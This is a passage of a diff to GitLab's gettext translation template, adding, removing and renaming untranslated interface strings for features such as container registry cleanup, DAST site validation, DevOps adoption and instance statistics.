msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
